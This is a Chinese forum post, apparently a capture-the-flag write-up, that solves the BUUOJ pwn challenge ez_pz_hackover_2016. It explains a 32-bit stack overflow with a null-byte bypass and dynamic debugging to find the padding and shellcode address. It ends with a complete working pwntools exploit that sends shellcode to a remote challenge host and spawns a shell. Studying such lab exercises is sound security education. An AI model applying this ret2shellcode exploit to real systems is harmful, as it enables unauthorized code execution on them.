[ret2shellcode+动态调试]ez_pz_hackover_2016

查看 38|回复 2
作者:bnuzgn   
题目来源:buuoj
题目信息
ubuntu16(libc2.23)、32位,几乎啥都没开
   


1.png (22.73 KB, 下载次数: 0)
下载附件
2023-7-28 15:03 上传

主函数中先输出数组的地址(是字符串格式而不是二进制格式,可以直接使用int函数读取,参考wp),然后memchr函数会将'\n'之后的内容截断,所以需要\x00绕过,同时需要crashme\x00来达成strcmp的条件,转到vuln函数。
   


2.png (36.05 KB, 下载次数: 0)
下载附件
2023-7-28 15:03 上传

vuln函数将param_1中的内容复制到栈中的临时数组中,结合主函数的数组可以导致溢出。
   


3.png (15.62 KB, 下载次数: 0)
下载附件
2023-7-28 15:03 上传

解题思路
  • 由于保护措施没有怎么开,因此使用ret2shellcode方式,结合程序会直接输出数组的地址与参数溢出就可以直接getshell。
  • 现在的困难点在于找不到输入的shellcode的内存地址,因为vuln函数是子函数,而我们得到的数组地址是父函数中的地址,因此无法直接增加偏移得到shellcode地址。
  • 建议使用动态调试,将断点设置在vuln函数的leave处,此时可以看到memcpy复制的内容的栈中的相对位置。

    关键步骤
  • 首先生成必须的部分,可以发现缺失了两个部分的内容:padding、ret_addr
  • padding在本题中无法直接通过静态分析得到正确的答案,静态解析中是50字节,但是动态分析中没有这么多。这里需要大佬帮忙解惑。
  • ret_addr是内存地址,需要在动态分析中结合本题中输出的数组位置得到。

    payload = b"crashme\x00" + b'a'*padding + p32(ret_addr) + shellcode
  • 在wp中的注释位置打断点,一步步调试到vuln的leave处。此时查看50个机器字长的栈空间,可以发现ebp在0x38偏移处,而我们输入的crashme中的c保存在0x22处(小端序保存,0x20上的参数 0x72 63 f7 f6对应的是0x23,0x22,0x21,0x20 )因此vuln数组的起始位置想对于ebp偏移为0x38-0x22=0x16,而函数返回地址还需要增加0x4字节的ebp长度。别忘l‘crackme\x00’的长度是8字节,最终padding=0x16+4-8

       


    4.png (282.69 KB, 下载次数: 0)
    下载附件
    2023-7-28 15:03 上传

    还是上面这个图,右侧可以发现主函数chall中输出的数组地址为0xff95c28c,在左侧栈中的相对位置为0x5c,结合payload = b"crashme\x00" + b'a'*padding + p32(ret_addr) + shellcode可以发现,ret_addr的位置应该是shellcode的地址,而在栈中p32(ret_addr)保存在0x3c,shellcode是从0x40开始保存的,shellcode的位置是array_addr-(0x5c-0x40)即array_addr-0x1c
    wp
    [Python] 纯文本查看 复制代码# -*- coding: utf-8 -*-
    from pwn import*
    context.log_level='debug'
    context.arch='i386'
    context.os = "linux"
    pc = "ez_pz_hackover_2016"
    if __name__ == '__main__':
        local = sys.argv[1]
        if local == '1':
            r= process(pc)
            elf = ELF(pc)
            libc = elf.libc
        else:
            r=remote("node4.buuoj.cn",27598)
            elf = ELF(pc)
            libc = elf.libc
    sa = lambda s,n : r.sendafter(s,n)
    sla = lambda s,n : r.sendlineafter(s,n)
    sl = lambda s : r.sendline(s)
    sd = lambda s : r.send(s)
    rc = lambda n : r.recv(n)
    ru = lambda s : r.recvuntil(s)
    ti = lambda: r.interactive()
    lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
    def db():
        gdb.attach(r)
        pause()
    def dbs(src):
        gdb.attach(r, src)
    shellcode = asm(shellcraft.sh())
    ru("Yippie, lets crash: ")
    array_addr = int(r.recv(10),16)
    lg('array_addr')
    payload = b"crashme\x00" + b'a'*(0x16-8+4) + p32(array_addr-0x1c) + shellcode
    #db()
    sla("> ",payload)
    ti()

    函数, 数组

  • 磊先生   

    感谢分享
    hua111   

    感谢分享
    您需要登录后才可以回帖 登录 | 立即注册

    返回顶部